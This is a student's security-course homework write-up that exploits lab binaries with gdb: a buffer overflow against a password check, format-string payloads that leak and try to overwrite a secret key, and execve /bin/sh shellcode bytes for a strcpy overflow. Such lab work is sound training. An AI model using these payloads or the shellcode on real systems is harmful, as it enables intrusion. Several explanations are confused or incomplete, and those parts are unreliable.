Valerie Angulo
PCS HW 3

1) The checkdate program is vulnerable to a format string attack because it formats the input to ints (%d/%d/%d). The input is checked to make sure that it is within a certain day/month/year number range. All numbers outside of this range are considered invalid. Checkdate isn't vulnerable to a buffer overflow attack because the program doesn't copy a string into an array buffer and check for validity, it takes in ints and checks whether the range of the int is valid.

2) My approach was to input a long string until I found out how much the buffer could hold by creating a seg fault, The buffer can hold 133 characters, which would be rounded to 136 to have 17 bytes. From there, I disassembled main and tried to see what was on the stack beforehand. I wanted to find out what was being compared with my input string and maybe get my overflow to go into what is being compared so that the two things are equal and would set the zero flag to 0. I found that the values that are being compared are ebp and 2 from this line which would be the first line to execute if the passwords matched:

0x08048390 <main+352>: movl $0x2,-0xc(%ebp) ……done if right (zf = 1)

I had to overwrite up until the ebp and then make it equal to 2, however, I wasn't able to make that happen and my homework is already a day late. Initial attempts are below.

please try again(133)
11111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111

segfault(134)
111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111

(gdb) disas main
Dump of assembler code for function main:
0x08048230 <main+0>: lea 0x4(%esp),%ecx
0x08048234 <main+4>: and $0xfffffff0,%esp
0x08048237 <main+7>: pushl -0x4(%ecx)
0x0804823a <main+10>: push %ebb
0x0804823b <main+11>: mov %esp,%ebp
0x0804823d <main+13>: push %ecx
0x0804823e <main+14>: sub $0x144,%esp
0x08048244 <main+20>: movl $0x0,-0xc(%ebp)
0x0804824b <main+27>: movl $0x66775f5b,-0xbe(%ebp)
0x08048255 <main+37>: movl $0x5e5b5f5d,-0xba(%ebp)
0x0804825f <main+47>: movl $0x5d5b5e7c,-0xb6(%ebp)
0x08048269 <main+57>: movl $0x5b205d36,-0xb2(%ebp)
0x08048273 <main+67>: movl $0x5f5d5f5e,-0xae(%ebp)
0x0804827d <main+77>: movl $0x66772443,-0xaa(%ebp)
0x08048287 <main+87>: movl $0x20,-0xa6(%ebp)
0x08048291 <main+97>: lea -0xa2(%ebp),%eax
0x08048297 <main+103>: mov %eax,-0x12c(%ebp)
0x0804829d <main+109>: movl $0x0,-0x130(%ebp)
0x080482a7 <main+119>: mov $0x16,%eax
0x080482ac <main+124>: cmp $0x4,%eax
0x080482af <main+127>: jb 0x8048301 <main+209>Carry flag

```
0x080482b1 <main+129>:   mov    $0x16,%eax
0x080482b6 <main+134>:   mov    %eax,%edx
0x080482b8 <main+136>:   and    $0xfffffffc,%edx
0x080482bb <main+139>:   mov    %edx,-0x138(%ebp)
0x080482c1 <main+145>:   movl   $0x0,-0x134(%ebp)
0x080482cb <main+155>:   mov    -0x130(%ebp),%edx
0x080482d1 <main+161>:   mov    -0x12c(%ebp),%eax
0x080482d7 <main+167>:   mov    -0x134(%ebp),%ecx
0x080482dd <main+173>:   mov    %edx,(%eax,%ecx,1)
0x080482e0 <main+176>:   addl   $0x4,-0x134(%ebp)
0x080482e7 <main+183>:   mov    -0x138(%ebp),%ecx
0x080482ed <main+189>:   cmp    %ecx,-0x134(%ebp)
0x080482f3 <main+195>:   jb     0x80482cb <main+155>          Carry flag
0x080482f5 <main+197>:   mov    -0x134(%ebp),%eax
0x080482fb <main+203>:   add    %eax,-0x12c(%ebp)
0x08048301 <main+209>:   as
0x08048308 <main+216>:   mov    -0x12c(%ebp),%eax
0x0804830e <main+222>:   mov    %dx,(%eax)
0x08048311 <main+225>:   addl   $0x2,-0x12c(%ebp)
0x08048318 <main+232>:   movl   $0x0,-0x8(%ebp)
0x0804831f <main+239>:   movl   $0x80a8388,(%esp)
0x08048326 <main+246>:   call   0x8048f60 <puts>              prints header
0x0804832b <main+251>:   movl   $0x80a842c,(%esp)
0x08048332 <main+258>:   call   0x8048f60 <puts>              prints enter pw
0x08048337 <main+263>:   lea    -0x8c(%ebp),%eax
0x0804833d <main+269>:   mov    %eax,(%esp)
0x08048340 <main+272>:   call   0x8048da0 <gets>          gets inserted pw, overflow here
0x08048345 <main+277>:   jmp    0x8048363 <main+307>          unconditional jump
0x08048347 <main+279>:   mov    -0x8(%ebp),%edx
0x0804834a <main+282>:   mov    -0x8(%ebp),%eax
0x0804834d <main+285>:   add    $0x5,%eax
0x08048350 <main+288>:   movzbl -0xbe(%ebp,%eax,1),%eax
0x08048358 <main+296>:   mov    %al,-0x122(%ebp,%edx,1)
0x0804835f <main+303>:   addl   $0x1,-0x8(%ebp)
0x08048363 <main+307>:   cmpl   $0x7,-0x8(%ebp)               logical comparison
0x08048367 <main+311>:   jle    0x8048347 <main+279>          jump less than/equal ZF
0x08048369 <main+313>:   mov    -0x8(%ebp),%eax
0x0804836c <main+316>:   movb   $0x0,-0x122(%ebp,%eax,1)//segfault error here /stops
0x08048374 <main+324>:   lea    -0x122(%ebp),%eax
0x0804837a <main+330>:   mov    %eax,0x4(%esp)
0x0804837e <main+334>:   lea    -0x8c(%ebp),%eax
0x08048384 <main+340>:   mov    %eax,(%esp)
0x08048387 <main+343>:   call   0x8050550 <strcmp> //0 if both strings = , comp L to  R
0x0804838c <main+348>:   test   %eax,%eax //test if eax&&eax  = 0 (zf = 0 if not equal) /s
0x0804838e <main+350>:   jne    0x8048397 <main+359> //jump not zero/not equal ZF
0x08048390 <main+352>:   movl   $0x2,-0xc(%ebp) ……done if right (zf = 1)
0x08048397 <main+359>:   cmpl   $0x2,-0xc(%ebp)           logical comparison
0x0804839b <main+363>:   jne    0x80483ab <main+379>…  jump if not zero ZF
0x0804839d <main+365>:   movl   $0x80a8444,(%esp) ……done if right
0x080483a4 <main+372>:   call   0x8048f60 <puts> ……prints if right
0x080483a9 <main+377>:   jmp    0x80483b7 <main+391> ……done if right
0x080483ab <main+379>:   movl   $0x80a8480,(%esp)
```

0x080483b2 <main+386>: call 0x8048f60 <puts> …prints if wrong
0x080483b7 <main+391>: add $0x144,%esp //jumps to if right, skips wrong msg
0x080483bd <main+397>: pop %ecx //pop ecxoff the stack
0x080483be <main+398>: pop %ebp //pop ebpoff the stack
0x080483bf <main+399>: lea -0x4(%ecx),%esp

Attempts at changing ZF, thought the bolded could be ZF but its not

Enter your password:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x0804836c in main ()
(gdb) break* main+348
Note: breakpoint 3 also set at pc 0x804838c.
Breakpoint 4 at 0x804838c
(gdb) x/x $ebp
0xbffff528: 0x41414141
(gdb) x/30xw $ebp
0xbffff528: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff538: 0xbf006141 0x080485a4 **0x00000001** 0xbffff5b4
0xbffff548: 0xbffff5bc 0x00000000 0x00000006 0xbffff579
0xbffff558: 0xbffff588 0xffea817f 0x090ad810 0x00000000
0xbffff568: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff578: 0x8a181f00 0x00000000 0x00000001 0x00000000
0xbffff588: 0x00000000 0x08048171 0x08048230 0x00000001
0xbffff598: 0xbffff5b4 0x08048a40
(gdb)

Enter your password:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x0804836c in main ()
(gdb) x/30xw $ebp
0xbffff528: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff538: 0x41414141 0x41414141 **0x00000000** 0xbffff5b4
0xbffff548: 0xbffff5bc 0x00000000 0x00000006 0xbffff579
0xbffff558: 0xbffff588 0xffea817f 0x090ad810 0x00000000
0xbffff568: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff578: 0x5d54b200 0x00000000 0x00000001 0x00000000
0xbffff588: 0x00000000 0x08048171 0x08048230 0x00000001
0xbffff598: 0xbffff5b4 0x08048a40
(gdb)

(gdb) disas strcmp
Dump of assembler code for function strcmp:
0x08050550 <strcmp+0>: push %ebp
0x08050551 <strcmp+1>: xor %edx,%edx
0x08050553 <strcmp+3>: mov %esp,%ebp

```
0x08050555 <strcmp+5>:    push   %esi
0x08050556 <strcmp+6>:    push   %ebx
0x08050557 <strcmp+7>:    mov    0x8(%ebp),%esi
0x0805055a <strcmp+10>:   mov    0xc(%ebp),%ebx
0x0805055d <strcmp+13>:   lea    0x0(%esi),%esi
0x08050560 <strcmp+16>:   movzbl (%esi,%edx,1),%eax
0x08050564 <strcmp+20>:   movzbl (%ebx,%edx,1),%ecx
0x08050568 <strcmp+24>:   test   %al,%al
0x0805056a <strcmp+26>:   je     0x8050588 <strcmp+56>          ZF jump if equal
0x0805056c <strcmp+28>:   add    $0x1,%edx
0x0805056f <strcmp+31>:   cmp    %cl,%al
0x08050571 <strcmp+33>:   je     0x8050560 <strcmp+16>          ZF jump if equal
0x08050573 <strcmp+35>:   movzbl %al,%edx
0x08050576 <strcmp+38>:   movzbl %cl,%eax
0x08050579 <strcmp+41>:   sub    %eax,%edx
0x0805057b <strcmp+43>:   mov    %edx,%eax
0x0805057d <strcmp+45>:   pop    %ebx
0x0805057e <strcmp+46>:   pop    %esi
0x0805057f <strcmp+47>:   pop    %ebp
0x08050580 <strcmp+48>:   ret
0x08050581 <strcmp+49>:   lea    0x0(%esi,%eiz,1),%esi
0x08050588 <strcmp+56>:   movzbl %cl,%edx
0x0805058b <strcmp+59>:   neg    %edx
0x0805058d <strcmp+61>:   mov    %edx,%eax
0x0805058f <strcmp+63>:   pop    %ebx
0x08050590 <strcmp+64>:   pop    %esi
0x08050591 <strcmp+65>:   pop    %ebp
0x08050592 <strcmp+66>:   ret
End of assembler dump.
(gdb) x/s 0x08050551
0x8050551 <strcmp+1>:       "1\211VS\213u\b\213]\f\215v"
(gdb) x/s 0x08050568
0x8050568 <strcmp+24>:      "\204t\034\203\0018t\017\017)\211[^]\215&"
(gdb) x/s $edx
0x7:     <Address 0x7 out of bounds>
(gdb) x/s $edx 0x08050588
A syntax error in expression, near `0x08050588'.
(gdb) x/s 0x08050588
0x8050588 <strcmp+56>:      "\017\211[^]", '\220' <repeats 13 times>, "\213L$
\004\211\203\003t(8(\017\204\227"
```

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (32)
……Registers are DOUBLED

```
0x0804836c in main ()
(gdb) x/96xw $esp
0xbffff3e0:    0xbffff49c    0xbffff3f8    0x08050cf1    0x080eb000
0xbffff3f0:    0x00000014    0x00000014    0x00000000    0xbffff49c
0xbffff400:    0x00000350    0x5b5ff484    0x5b5e7c5e    0x0000365d
0xbffff410:    0x00000000    0x00000000    0x00000000    0x00000000
0xbffff420:    0x00000000    0x00000000    0x00000028    0x080c9cb0
0xbffff430:    0x080c7098    0x00000018    0x00000003    0x080c7090
0xbffff440:    0x00000000    0x000009c8    0x080c9cc8    0x080c7098
```

0xbffff450: 0x000009b8 0x0000005e 0x080c9cc8 0x00000000
0xbffff460: 0x080c7090 0x00000000 0x5f5bf494 0x5f5d6677
0xbffff470: 0x5e7c5e5b 0x5d365d5b 0x5f5e5b20 0x24435f5d
0xbffff480: 0x00206677 0x00000000 0x00000000 0x00000000
0xbffff490: 0x00000000 0x00000000 0x00000000 **0x41414141**
0xbffff4a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff4b0: 0x41414141 0x41414141 0x41414141 0x080a5200
0xbffff4c0: 0x08073e22 0x000009b0 0x08050cf1 0x080c5ff4
0xbffff4d0: 0x00000000 0xbffff5bc 0xbffff4f8 0x080a5338
0xbffff4e0: 0x080bfe3c 0x080c6728 0x00000000 0x00000000
0xbffff4f0: 0xbffff518 0x080523f5 0xbffff508 0x08048213
0xbffff500: 0x080bfe3c 0x080c5ff4 0xbffff518 0x08048140
0xbffff510: 0xbffff5b4 0x00000000 0xbffff538 0x00000000
0xbffff520: 0x00000008 0xbffff540 **0xbffff588** 0x080485a4
0xbffff530: 0x00000006 0xbffff579 0xbffff588 0x080485a4
0xbffff540: 0x00000001 0xbffff5b4 0xbffff5bc 0x00000000
0xbffff550: 0x00000006 0xbffff579 0xbffff588 0xffea817f
(gdb) x/x $ebp
0xbffff528: 0xbffff588
(gdb)

(gdb) info all-registers
eax 0x41 65
ecx 0x5f 95
edx 0x0 0
ebx 0xbffff406 -1073744890
esp 0xbffff3d0 0xbffff3d0
ebp 0xbffff3d8 0xbffff3d8
esi 0xbffff49c -1073744740
edi 0xbffff579 -1073744519
eip 0x8050568 0x8050568 <strcmp+24>
eflags 0x200246 [PF ZF IF ID]

3)
Dump of assembler code for function main:
0x08048424 <main+0>: lea 0x4(%esp),%ecx
0x08048428 <main+4>: and $0xfffffff0,%esp
0x0804842b <main+7>: pushl -0x4(%ecx)
0x0804842e <main+10>: push %ebp
0x0804842f <main+11>: mov %esp,%ebp
0x08048431 <main+13>: push %ecx
0x08048432 <main+14>: sub $0x94,%esp
0x08048438 <main+20>: movl $0x3079656b,-0x72(%ebp)
0x0804843f <main+27>: movl $0x33323839,-0x6e(%ebp)
0x08048446 <main+34>: movw $0x3134,-0x6a(%ebp)
0x0804844c <main+40>: movl $0x6b746f6e,-0x7c(%ebp)
0x08048453 <main+47>: movl $0x30307965,-0x78(%ebp)
0x0804845a <main+54>: movw $0x3030,-0x74(%ebp)
0x08048460 <main+60>: movl $0x8048580,(%esp)
0x08048467 <main+67>: call 0x8048360 <printf@plt> //“enter email”
0x0804846c <main+72>: lea -0x68(%ebp),%eax
0x0804846f <main+75>: mov %eax,0x4(%esp)
0x08048473 <main+79>: movl $0x804858e,(%esp)

```
0x0804847a <main+86>:    call   0x8048350 <scanf@plt> //scan email entered
0x0804847f <main+91>:    movl   $0x8048591,(%esp)
0x08048486 <main+98>:    call   0x8048360 <printf@plt> //continue…
0x0804848b <main+103>:   lea    -0x68(%ebp),%eax
0x0804848e <main+106>:   mov    %eax,(%esp)
0x08048491 <main+109>:   call   0x8048360 <printf@plt> //“your email is”
0x08048496 <main+114>:   movl   $0xa,(%esp)
0x0804849d <main+121>:   call   0x8048330 <putchar@plt> //outputs my email
0x080484a2 <main+126>:   mov    $0x0,%eax
0x080484a7 <main+131>:   add    $0x94,%esp
0x080484ad <main+137>:   pop    %ecx
0x080484ae <main+138>:   pop    %ebp
0x080484af <main+139>:   lea    -0x4(%ecx),%esp
0x080484b2 <main+142>:   ret    //SEGFAULT HERE
End of assembler dump.
```

3.1) The memory address of the key is contained in 0xbffff4a4, starts at exactly 0xbffff4a6 and is 20 bits long. To figure this out, I set breakpoints after each call (the 3 printf, scarf and putchar) to see what the output of the program would be at those points. At the printf call at main+98, nothing occurred in the program so I assumed that the key could be around that point in the program. I created a breakpoint at 0x0804848b, the point right after printf at main+98, I checked the esp register values for the next 30 instructions until I saw the A’s from my input (AAAAAAAA%ls%ls%ls%ls%ls%ls%ls%ls%ls%ls). This is from the scan call, so I thought maybe the key could be located above my AAAAAAAA values. I looked at values right above it and saw 31343332 which is equal to “1432” so I used x/s which prints out the contents of the address as a string and found the secret key.

```
(gdb) x/30xw $esp-32
0xbffff460:    0xbffff478    0xb7eb7be0    0xb7fcd4c0    0x08048591
0xbffff470:    0xbffff484    0xb7fccff4    0xbffff518    0x0804848b
0xbffff480:    0x08048591    0xbffff4b0    0xbffff520    0xbffff514
0xbffff490:    0x00000000    0x00000000    0x00000000    0x6b746f6e
0xbffff4a0:    0x30307965    0x656b3030    0x38393079    0x31343332
0xbffff4b0:    0x41414141    0x41414141    0x25736c25    0x6c25736c
0xbffff4c0:    0x736c2573    0x25736c25    0x6c25736c    0x736c2573
0xbffff4d0:    0x25736c25    0x0000736c
(gdb) x/s $esp
0xbffff480:    "\221\205\004\b \024"
(gdb) x/s $esp+32
0xbffff4a0:    "ey0000key0982341AAAAAAAA%ls%ls%ls%ls%ls%ls%ls%ls%ls%ls"
(gdb)
```

Finding the exact memory address:
(gdb) x/s $esp+38 (kept doing until $esp+48, memory address 0xbffff4ag)
0xbffff4a6: "key0982341\"%08x.%08x.%08x.%08x.%08x\\n"

3.2a) One way to print out the secret key is to print out its hex values, which you can do using the format string %08x to see what is on the stack. I used 13 “%08x” to print out all contents of the memory locations until right before my own input.

Enter email>
AAAAAAAA%08x%08x%08x%08%08x%08x%08x%08x%08x%08x%08x%08x%08x

Breakpoint 22, 0x08048496 in main ()
(gdb) x/24xw $esp

0xbffff480:	0xbffff4b0	**0xbffff4b0**	0xbffff520	0xbffff514
0xbffff490:	0x00000000	0x00000000	0x00000000	0x6b746f6e
0xbffff4a0:	0x30307965	0x**656b3030**	**0x38393079**	**0x31343332**
0xbffff4b0:	0x41414141	0x41414141	0x78383025	0x78383025
0xbffff4c0:	0x78383025	0x25383025	0x25783830	0x25783830
0xbffff4d0:	0x25783830	0x25783830	0x25783830	0x25783830

(gdb) continue
Continuing.
Your email is:
AAAAAAAAbffff4b0bffff520bffff514%08x00000000000000000000000006b746f6e30307965**656b30303839307931343332**

65 6B 30 30 38 39 30 79 31 34 33 32 = ek00 890y 1432 —> 00ke y098 2341

3.2b) Another way the secret key can be used is by using %08o as a specifier which is an 8-bit octal representation of an integer. From this you can obtain the hex value of the key and then convert it to the actual key as done above.

Enter email>
AAAAAAAA%08o%08o%08o%08o%08o%08o%08o%08o%08o%08o%08o%08o%08o%08o
Your email is:
AAAAAAAA27777772260277777724402777777242400000000000000000000000153350675
56**60140745451453263006070162301716115031462**10120240501101202405 01

octal 6014074545.14532630060.7016230171.6115031462—>
hex 30307965656b30303839307931343332 —> symbol 00key0982341

3.3) To change the key from key0982341 to key098234i, we can use the %n format specifier and the address of the key. Our machine is little endian so we have to make sure the script we use does that.

```
python -c 'print "a"*32 + "\x9d\x84\x04\x08"'
(gdb) run $(python -c 'print("\x10\xf4\xff\xbfAAAAAAAA%08x%08x%08x%08x%n")')
```

(python -c "print('\xa4\xf4\xff\xbf%08x%08x%08x%08x%n')")

4)
pcs@seed-desktop:~/projects/hw3$ cat myshell.c

```
#include<unistd.h>
int main(){
    char *args[2];
    args[0]="/bin/sh";
    args[1]=NULL;
    execve(args[0],args,NULL);
}
```

pcs@seed-desktop:~/projects/hw3$ cat vuln.c

```
#include<stdio.h>
int main(int argc, char *argv[]){

    char buffer[256];
    if (argc>1)
      strcpy(buffer, argv[1]);
}
```

4.1) Vuln is vulnerable to buffer overflow attacks because it uses strcpy which does not check if input is within bounds of the buffer it is being copied into.

4.2) If the shellcode is successfully run, the attacker can get access to the machine and could download malicious files onto the victim's computer.

4.3) You can determine where the new return address should be placed by looking at where the nops are in __kernel_vsyscall. If we place our new return address in the string of nops, the nops will just get executed until the shell code is found. A segmentation error occurred in __kernel_vsyscall at 0xb7fe1430, at the location where the ebp is popped because the buffer overflowed to the point of overwriting the return address. We have to overwrite 0xb7fe1422, the address that the %ebp is pushed. This is because the %ebp is pushed onto the stack when entering a new function or call so that the process knows what memory address to return to when the function is done.

At this memory location, the buffer overflowed to the point of overwriting the return address. The memory location that has to be rewritten is

```
*** stack smashing detected ***: /home/pcs/projects/hw3/vuln terminated
======= Backtrace: =========
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x48)[0xb7f6bef8]
/lib/tls/i686/cmov/libc.so.6(__fortify_fail+0x0)[0xb7f6beb0]
/home/pcs/projects/hw3/vuln[0x804846f]
[0x41414141]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:01 40915      /home/pcs/projects/hw3/vuln
08049000-0804a000 r--p 00000000 08:01 40915      /home/pcs/projects/hw3/vuln
0804a000-0804b000 rw-p 00001000 08:01 40915      /home/pcs/projects/hw3/vuln
0804b000-0806c000 rw-p 0804b000 00:00 0          [heap]
b7e5e000-b7e6b000 r-xp 00000000 08:01 278049     /lib/libgcc_s.so.1
b7e6b000-b7e6c000 r--p 0000c000 08:01 278049     /lib/libgcc_s.so.1
b7e6c000-b7e6d000 rw-p 0000d000 08:01 278049     /lib/libgcc_s.so.1
b7e6d000-b7e6e000 rw-p b7e6d000 00:00 0
b7e6e000-b7fca000 r-xp 00000000 08:01 294460     /lib/tls/i686/cmov/libc-2.9.so
b7fca000-b7fcb000 ---p 0015c000 08:01 294460     /lib/tls/i686/cmov/libc-2.9.so
b7fcb000-b7fcd000 r--p 0015c000 08:01 294460     /lib/tls/i686/cmov/libc-2.9.so
b7fcd000-b7fce000 rw-p 0015e000 08:01 294460     /lib/tls/i686/cmov/libc-2.9.so
```

b7fce000-b7fd1000 rw-p b7fce000 00:00 0
b7fdf000-b7fe1000 rw-p b7fdf000 00:00 0
b7fe1000-b7fe2000 r-xp b7fe1000 00:00 0 [vdso]
b7fe2000-b7ffe000 r-xp 00000000 08:01 280519 /lib/ld-2.9.so
b7ffe000-b7fff000 r--p 0001b000 08:01 280519 /lib/ld-2.9.so
b7fff000-b8000000 rw-p 0001c000 08:01 280519 /lib/ld-2.9.so
bffeb000-c0000000 rw-p bffea000 00:00 0 [stack]

Program received signal SIGABRT, Aborted.
0xb7fe1430 in __kernel_vsyscall ()
(gdb) disas __kernel_vsyscall
Dump of assembler code for function __kernel_vsyscall:
0xb7fe1420 <__kernel_vsyscall+0>: push %ecx
0xb7fe1421 <__kernel_vsyscall+1>: push %edx
0xb7fe1422 <__kernel_vsyscall+2>: push %ebp
0xb7fe1423 <__kernel_vsyscall+3>: mov %esp,%ebp
0xb7fe1425 <__kernel_vsyscall+5>: sysenter
0xb7fe1427 <__kernel_vsyscall+7>: nop
0xb7fe1428 <__kernel_vsyscall+8>: nop
0xb7fe1429 <__kernel_vsyscall+9>: nop
0xb7fe142a <__kernel_vsyscall+10>: nop
0xb7fe142b <__kernel_vsyscall+11>: nop
0xb7fe142c <__kernel_vsyscall+12>: nop
0xb7fe142d <__kernel_vsyscall+13>: nop
0xb7fe142e <__kernel_vsyscall+14>: jmp 0xb7fe1423 <__kernel_vsyscall+3>
0xb7fe1430 <__kernel_vsyscall+16>: pop %ebp SEG FAULT HERE
0xb7fe1431 <__kernel_vsyscall+17>: pop %edx
0xb7fe1432 <__kernel_vsyscall+18>: pop %ecx
0xb7fe1433 <__kernel_vsyscall+19>: ret
End of assembler dump.
(gdb)

(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>: lea 0x4(%esp),%ecx
0x080483c8 <main+4>: and $0xfffffff0,%esp
0x080483cb <main+7>: pushl -0x4(%ecx)
0x080483ce <main+10>: push %ebp
0x080483cf <main+11>: mov %esp,%ebp
0x080483d1 <main+13>: push %ecx
0x080483d2 <main+14>: sub $0x24,%esp
0x080483d5 <main+17>: **movl $0x80484d0,-0xc(%ebp)**
0x080483dc <main+24>: movl $0x0,-0x8(%ebp)
0x080483e3 <main+31>: mov -0xc(%ebp),%edx
0x080483e6 <main+34>: movl $0x0,0x8(%esp)
0x080483ee <main+42>: lea -0xc(%ebp),%eax

```
0x080483f1 <main+45>:    mov    %eax,0x4(%esp)
0x080483f5 <main+49>:    mov    %edx,(%esp)
0x080483f8 <main+52>:    call   0x80482f8 <execve@plt>
0x080483fd <main+57>:    add    $0x24,%esp
0x08048400 <main+60>:    pop    %ecx
0x08048401 <main+61>:    pop    %ebp
0x08048402 <main+62>:    lea    -0x4(%ecx),%esp
0x08048405 <main+65>:    ret
End of assembler dump.
```

4.4) What is the input that you need to provide as an argument for this program in order to spawn a shell? Full points will only be given if the input provided can be used to spawn a shell. Explain in detail how you craft the input. For this task, demonstrate the approach with gdb.

You have to get the hex value for each line of code in your instructions and be able to put your shell code in the stack or a data segment so that it can be executed. This can be done by placing the hex values of your code in a global array in a data segment.

```
char shellcode[]=
"\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8
d \x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
```

To get the hex for each line of your code, you can do objdump in gdb for an object dump.

```
pcs@seed-desktop:~/projects/hw3$ objdump -d myshell

myshell:     file format elf32-i386
Disassembly of section .text:

08048310 <_start>:
 8048310:       31 ed                   xor    %ebp,%ebp
 8048312:       5e              pop    %esi
 8048313:       89 e1                   mov    %esp,%ecx
 8048315:       83 e4 f0                and    $0xfffffff0,%esp
 8048318:       50              push   %eax
 8048319:       54              push   %esp
 804831a:       52              push   %edx
 804831b:       68 10 84 04 08          push   $0x8048410
 8048320:       68 20 84 04 08          push   $0x8048420
 8048325:       51              push   %ecx
 8048326:       56              push   %esi
 8048327:       68 c4 83 04 08          push   $0x80483c4
 804832c:       e8 b7 ff ff ff          call   80482e8 <__libc_start_main@plt>
 8048331:       f4              hlt
 8048332:       90              nop
 8048333:       90              nop
```

```
 8048334:	90                   	nop
 8048335:	90                   	nop
 8048336:	90                   	nop
 8048337:	90                   	nop
 8048338:	90                   	nop
 8048339:	90                   	nop
 804833a:	90                   	nop
 804833b:	90                   	nop
 804833c:	90                   	nop
 804833d:	90                   	nop
 804833e:	90                   	nop
 804833f:	90                   	nop

080483c4 <main>:
 80483c4:	8d 4c 24 04          	lea    0x4(%esp),%ecx
 80483c8:	83 e4 f0             	and    $0xfffffff0,%esp
 80483cb:	ff 71 fc             	pushl  -0x4(%ecx)
 80483ce:	55                   	push   %ebp
 80483cf:	89 e5                	mov    %esp,%ebp
 80483d1:	51                   	push   %ecx
 80483d2:	83 ec 24             	sub    $0x24,%esp
 80483d5:	c7 45 f4 d0 84 04 08 	movl   $0x80484d0,-0xc(%ebp)
 80483dc:	c7 45 f8 00 00 00 00 	movl   $0x0,-0x8(%ebp)
 80483e3:	8b 55 f4             	mov    -0xc(%ebp),%edx
 80483e6:	c7 44 24 08 00 00 00 	movl   $0x0,0x8(%esp)
 80483ed:	00
 80483ee:	8d 45 f4             	lea    -0xc(%ebp),%eax
 80483f1:	89 44 24 04          	mov    %eax,0x4(%esp)
 80483f5:	89 14 24             	mov    %edx,(%esp)
 80483f8:	e8 fb fe ff ff       	call   80482f8 <execve@plt>
 80483fd:	83 c4 24             	add    $0x24,%esp
 8048400:	59                   	pop    %ecx
 8048401:	5d                   	pop    %ebp
 8048402:	8d 61 fc             	lea    -0x4(%ecx),%esp
 8048405:	c3                   	ret
 8048406:	90                   	nop
 8048407:	90                   	nop
 8048408:	90                   	nop
 8048409:	90                   	nop
 804840a:	90                   	nop
 804840b:	90                   	nop
 804840c:	90                   	nop
 804840d:	90                   	nop
 804840e:	90                   	nop
 804840f:	90                   	nop
```

(goes on for pages….)

Assembly dump

```
Dump of assembler code for function main:
0x080483c4 <main+0>:     lea    0x4(%esp),%ecx
0x080483c8 <main+4>:     and    $0xfffffff0,%esp
0x080483cb <main+7>:     pushl  -0x4(%ecx)
0x080483ce <main+10>:    push   %ebp
0x080483cf <main+11>:    mov    %esp,%ebp
0x080483d1 <main+13>:    push   %ecx
0x080483d2 <main+14>:    sub    $0x24,%esp
0x080483d5 <main+17>:    movl   $0x80484d0,-0xc(%ebp)
0x080483dc <main+24>:    movl   $0x0,-0x8(%ebp)
0x080483e3 <main+31>:    mov    -0xc(%ebp),%edx
0x080483e6 <main+34>:    movl   $0x0,0x8(%esp)
0x080483ee <main+42>:    lea    -0xc(%ebp),%eax
0x080483f1 <main+45>:    mov    %eax,0x4(%esp)
0x080483f5 <main+49>:    mov    %edx,(%esp)
0x080483f8 <main+52>:    call   0x80482f8 <execve@plt>
0x080483fd <main+57>:    add    $0x24,%esp
0x08048400 <main+60>:    pop    %ecx
0x08048401 <main+61>:    pop    %ebp
0x08048402 <main+62>:    lea    -0x4(%ecx),%esp
0x08048405 <main+65>:    ret
End of assembler dump.
```

You insert the assembly code from your object dump into something like:

```
void main()
{ __asm__("
lea    0x4(%esp),%ecx
and    $0xfffffff0,%esp
pushl  -0x4(%ecx)
push   %ebp
mov    %esp,%ebp
push   %ecx
sub    $0x24,%esp
movl   $0x80484d0,-0xc(%ebp)
movl   $0x0,-0x8(%ebp)
mov    -0xc(%ebp),%edx
movl   $0x0,0x8(%esp)
lea    -0xc(%ebp),%eax
mov    %eax,0x4(%esp)
mov    %edx,(%esp)
call   0x80482f8 <execve@plt>
```

```
add    $0x24,%esp
pop    %ecx
pop    %ebp
lea    -0x4(%ecx),%esp
ret
"); }
```

You then run this and you should be able to get your shell code and use it to overflow the buffer.

5) Stack canaries can signal stack modification, which is accomplished through buffer overflow. If the canary value is destroyed, it means that the buffer preceding it has been overflowed. If a program checks its canary value and it is not what is expected, an exception is raised and the program can terminate instead of running with the attackers code or with the attacker taking control of the program. To bypass a stack canary without guessing or obtaining the value, an attacker can do a Structured Exception Handling exploit, where they rewrite an existing exception handler structure in the stack so that it will point to their code and then they would create an exception, to enter the exception handler, which would bypass the canary check completely.